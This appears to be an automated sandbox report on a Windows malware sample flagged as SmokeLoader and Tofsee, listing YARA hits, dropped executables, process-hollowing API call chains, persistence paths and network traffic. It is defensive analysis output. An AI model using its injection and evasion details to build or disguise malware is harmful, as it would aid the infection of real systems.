Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49878 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49919 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 144.76.136.153:443 -> 192.168.2.3:49938 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected SmokeLoader

Show sources

Source: Yara match	File source: 20.1.A019.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.1.rcvfbte.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 20.2.A019.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.A019.exe.6c15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rcvfbte.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.1.ZA3cYU28Yl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.ZA3cYU28Yl.exe.5715a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.ZA3cYU28Yl.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rcvfbte.5f15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.0.ZA3cYU28Yl.exe.400000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.333262137.00000000005B1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.333204148.00000000004A0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000000.327467083.0000000005AC1000.00000020.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.407171768.00000000005C0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.385289105.0000000000530000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.407257194.00000000005E1000.00000004.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.385864770.0000000002441000.00000004.00020000.sdmp, type: MEMORY

Source: 9460.exe, 00000010.00000002.437004184.000000000068A000.00000004.00000020.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

Spam, unwanted Advertisements and Ransom Demands:

Yara detected Tofsee

Show sources

Source: Yara match	File source: 26.3.A881.exe.7f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.6c0e50.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.A881.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001A.00000002.443373510.00000000006C0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.443196839.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000003.404265838.00000000007F0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: A881.exe PID: 7004, type: MEMORYSTR

System Summary:

PE file has nameless sections

Show sources

Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 41A3.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 7F9A.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:
Source: 8ECE.exe.10.dr	Static PE information: section name:

Source: C:\Windows\System32\svchost.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6608 -ip 6608

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_0042A1A0	1_2_0042A1A0
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_00424B10	1_2_00424B10
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_0042AF80	1_2_0042AF80
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_005731FF	1_2_005731FF
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_00573253	1_2_00573253
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00402A5F	3_2_00402A5F
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00402AB3	3_2_00402AB3
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_00402A5F	3_1_00402A5F
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_00402AB3	3_1_00402AB3
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00402A5F	15_2_00402A5F
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00402AB3	15_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_004027CA	16_2_004027CA
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_00401FF1	16_2_00401FF1
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_0040158E	16_2_0040158E
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_004015A6	16_2_004015A6
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_004015BC	16_2_004015BC
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_00411065	16_2_00411065
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_00412A02	16_2_00412A02
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_0040CAC5	16_2_0040CAC5
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_00410B21	16_2_00410B21
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_004115A9	16_2_004115A9
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_0048160C	16_2_0048160C
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_004815DE	16_2_004815DE
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Code function: 16_2_004815F6	16_2_004815F6
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 17_2_006C3253	17_2_006C3253
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 17_2_006C31FF	17_2_006C31FF
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00402A5F	20_2_00402A5F
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00402AB3	20_2_00402AB3
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_00402A5F	20_1_00402A5F
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_00402B2E	20_1_00402B2E
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00410800	22_2_00410800
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_00411280	22_2_00411280
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_004103F0	22_2_004103F0
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: 22_2_004109F0	22_2_004109F0
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_0040C913	26_2_0040C913
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_0042B2A0	26_2_0042B2A0
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_0042A4C0	26_2_0042A4C0
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_00424E30	26_2_00424E30
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_052896F0	27_2_052896F0
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_05280462	27_2_05280462
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_05280470	27_2_05280470
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053E1810	27_2_053E1810
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053E53F8	27_2_053E53F8
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053E0448	27_2_053E0448
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053E2E48	27_2_053E2E48
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053FAD68	27_2_053FAD68
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053FA430	27_2_053FA430
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053F2C88	27_2_053F2C88
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053F4758	27_2_053F4758
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053F67B8	27_2_053F67B8
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053F08B0	27_2_053F08B0
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053F53E0	27_2_053F53E0
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053F7249	27_2_053F7249
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Code function: 27_2_053F90D3	27_2_053F90D3

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Code function: 26_2_00401280 ShellExecuteExW,lstrlenW,GetStartupInfoW,CreateProcessWithLogonW,WaitForSingleObject,CloseHandle,CloseHandle,GetLastError,GetLastError,

26_2_00401280

Source: ZA3cYU28Yl.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ZA3cYU28Yl.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ZA3cYU28Yl.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: ZA3cYU28Yl.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 293.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 293.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 293.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 3657.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9460.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9460.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9460.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A019.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A019.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A019.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A019.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9779.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9779.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9779.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 9779.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A881.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A881.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A881.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: A881.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 48E7.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 48E7.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 48E7.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: 50E7.exe.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rcvfbte.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rcvfbte.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rcvfbte.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: rcvfbte.10.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: lnagngtg.exe.26.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: lnagngtg.exe.26.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: lnagngtg.exe.26.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: lnagngtg.exe.26.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: C:\Windows\System32\svchost.exe	Section loaded: xboxlivetitleid.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cdpsgshims.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\B217.exe	Section loaded: mscorjit.dll	Jump to behavior

Source: ZA3cYU28Yl.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: C:\Users\user\AppData\Local\Temp\969F.exe, type: DROPPED

Matched rule: SUSP_PE_Discord_Attachment_Oct21_1 date = 2021-10-12, author = Florian Roth, description = Detects suspicious executable with reference to a Discord attachment (often used for malware hosting on a legitimate FQDN), reference = Internal Research, score =

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Windows\SysWOW64\gebcmxiz\

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: String function: 00422880 appears 133 times
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: String function: 0041E000 appears 172 times
Source: C:\Users\user\AppData\Local\Temp\9779.exe	Code function: String function: 004048D0 appears 460 times
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: String function: 006C2794 appears 35 times
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: String function: 0040EE2A appears 40 times
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: String function: 00402544 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: String function: 0041E300 appears 32 times

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 1_2_00570110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	1_2_00570110
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00401962 Sleep,NtTerminateProcess,	3_2_00401962
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_0040196D Sleep,NtTerminateProcess,	3_2_0040196D
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_00402000
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	3_2_0040250A
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00401A0B NtTerminateProcess,	3_2_00401A0B
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040201A
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040201E
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_2_0040202D
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00402084 LocalAlloc,NtQuerySystemInformation,	3_2_00402084
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_2_00402491 NtOpenKey,	3_2_00402491
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_00402000
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	3_1_0040250A
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040201A
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040201E
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	3_1_0040202D
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_00402084 LocalAlloc,NtQuerySystemInformation,	3_1_00402084
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Code function: 3_1_00402491 NtOpenKey,	3_1_00402491
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00401962 Sleep,NtTerminateProcess,	15_2_00401962
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_0040196D Sleep,NtTerminateProcess,	15_2_0040196D
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_00402000
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	15_2_0040250A
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00401A0B NtTerminateProcess,	15_2_00401A0B
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040201A
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040201E
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	15_2_0040202D
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00402084 LocalAlloc,NtQuerySystemInformation,	15_2_00402084
Source: C:\Users\user\AppData\Roaming\rcvfbte	Code function: 15_2_00402491 NtOpenKey,	15_2_00402491
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 17_2_006C0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,	17_2_006C0110
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00401962 Sleep,NtTerminateProcess,	20_2_00401962
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_0040196D Sleep,NtTerminateProcess,	20_2_0040196D
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_2_00402000
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	20_2_0040250A
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00401A0B NtTerminateProcess,	20_2_00401A0B
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_2_0040201A
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_2_0040201E
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_2_0040202D
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00402084 LocalAlloc,NtQuerySystemInformation,	20_2_00402084
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_2_00402491 NtOpenKey,	20_2_00402491
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_00402000 NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_1_00402000
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_0040250A NtEnumerateKey,NtEnumerateKey,NtClose,	20_1_0040250A
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_0040201A NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_1_0040201A
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_0040201E NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_1_0040201E
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_0040202D NtQuerySystemInformation,LocalAlloc,NtQuerySystemInformation,	20_1_0040202D
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_00402084 LocalAlloc,NtQuerySystemInformation,	20_1_00402084
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Code function: 20_1_00402491 NtOpenKey,	20_1_00402491
Source: C:\Users\user\AppData\Local\Temp\A881.exe	Code function: 26_2_00401820 GetCurrentProcess,NtQueryInformationToken,	26_2_00401820

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Code function: 26_2_00408E26: CreateFileW,DeviceIoControl,CloseHandle,

26_2_00408E26

Source: 293.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 9460.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS
Source: 48E7.exe.10.dr	Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: 41A3.exe.10.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 7F9A.exe.10.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0
Source: 8ECE.exe.10.dr	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: 41A3.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 41A3.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 41A3.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 41A3.exe.10.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 50E7.exe.10.dr	Static PE information: Section: .didata ZLIB complexity 0.999523355577
Source: 7F9A.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 7F9A.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 7F9A.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 7F9A.exe.10.dr	Static PE information: Section: ZLIB complexity 1.0107421875
Source: 8ECE.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00044194799
Source: 8ECE.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 8ECE.exe.10.dr	Static PE information: Section: ZLIB complexity 1.00051229508
Source: 8ECE.exe.10.dr	Static PE information: Section: ZLIB complexity 1.0107421875

Source: ZA3cYU28Yl.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Evasive API call chain: GetCommandLine,DecisionNodes,ExitProcess

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\rcvfbte

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@47/28@87/12

Source: C:\Users\user\AppData\Local\Temp\A881.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\A881.exe

Code function: 26_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,

26_2_00409A6B

Source: C:\Users\user\AppData\Local\Temp\A881.exe

26_2_00409A6B

Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\ZA3cYU28Yl.exe "C:\Users\user\Desktop\ZA3cYU28Yl.exe"
Source: C:\Users\user\Desktop\ZA3cYU28Yl.exe	Process created: C:\Users\user\Desktop\ZA3cYU28Yl.exe "C:\Users\user\Desktop\ZA3cYU28Yl.exe"
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k NetworkService -p
Source: unknown	Process created: C:\Windows\System32\SgrmBroker.exe C:\Windows\system32\SgrmBroker.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: unknown	Process created: C:\Users\user\AppData\Roaming\rcvfbte C:\Users\user\AppData\Roaming\rcvfbte
Source: C:\Users\user\AppData\Roaming\rcvfbte	Process created: C:\Users\user\AppData\Roaming\rcvfbte C:\Users\user\AppData\Roaming\rcvfbte
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9460.exe C:\Users\user\AppData\Local\Temp\9460.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A019.exe C:\Users\user\AppData\Local\Temp\A019.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6608 -ip 6608
Source: C:\Users\user\AppData\Local\Temp\A019.exe	Process created: C:\Users\user\AppData\Local\Temp\A019.exe C:\Users\user\AppData\Local\Temp\A019.exe
Source: C:\Users\user\AppData\Local\Temp\9460.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6608 -s 520
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\9779.exe C:\Users\user\AppData\Local\Temp\9779.exe
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\A881.exe C:\Users\user\AppData\Local\Temp\A881.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\B217.exe C:\Users\user\AppData\Local\Temp\B217.exe
